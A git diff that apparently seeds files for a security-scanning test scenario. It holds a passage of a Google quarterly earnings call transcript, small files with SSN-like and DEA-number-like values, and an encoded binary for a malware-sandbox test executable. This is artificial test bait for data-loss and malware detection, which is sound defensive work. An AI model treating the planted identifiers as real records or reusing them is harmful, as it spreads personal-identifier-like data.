$2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. + +14685906102609842252788209059268 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt new file mode 100644 index 0000000..13d1262 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt @@ -0,0 +1,6 @@ + +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 + +April_05_01 + \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh new file mode 100644 index 0000000..0b2e80f --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "hello" + +ssn 098-07-3316 Current Time : April 12 2021 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt new file mode 100644 index 0000000..cff7983 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt @@ -0,0 +1,3 @@ +ssn 098-07-3316 Current Time : May 6th 2:50 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe b/scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe new file mode 100644 index 0000000000000000000000000000000000000000..55bff600f27b77c147cc351f541f4795cbdbe67d GIT binary patch literal 55296 zcmeFaePC3@xj%k3yGb_5CTD?w;XOz|G-#s>n79NN$%a@7E(A724B!>hbxSRVb3j`H z8&8(z*3Z|Vh9p)exGN~ZW4U? z{_gLu?>|2@=R7m#nVDy1o_Xe(XP%j@yyH>9DhPrNe}*9l2k@qU9{&74KNvpeOnxCp zcrN3ODF-Zz-k7p1aPNlv_4VKXPW@fq%fI`s`|kU`l>aaHe%b9+`QQ8g z+Iz0c&dw}IWS#x;yY;uezkf>dZ~E>DQ)vbK*^nhJRMU)5sAi9VO=P!52jea}VKDy5J zqc41^Z*~YmeuAVStRd(+>7EB91jqdt52EW){3YlH#Q&`kgwE^g*WM-FB?wPb$Lzr0 zbo@PrzhVE@5T1!9JUSB}I`Bt%f~MjB*6{r9S@-?B@j08mfWREQUL|xX*D6>3vtUc#;X8WWN;!LG{{^ zFq>V$6XsEQud22E#gpZHW*y8dI1ur6`vTO~?DrVz$`OaY%V)?=e>LlHP}n()Y9tdh z)XzcnGh{ofq#DL}=L9{5?4Yx+0DK0lT7qeT3)QB>J3w#f`vvv+`~ z9LY;Ib&}|6kP%}`fTcw9sfgEk5hnFY>CyK+LW-2io}P-Kfb7pr0mEX#6qt1~k%Ic< z2G&r0jv*atGrPGT44UQl2Q7YMbS@bAK;<2RP*;M!^$1d`DtGB~cFqOdcz|MPhLS&d zJ`3z$SJIq^82OBHK*Bp`<4M=Cl06Kd_;{;YiMo7Cz(|zs!3nIEIEU%iCL)|{5s&!U 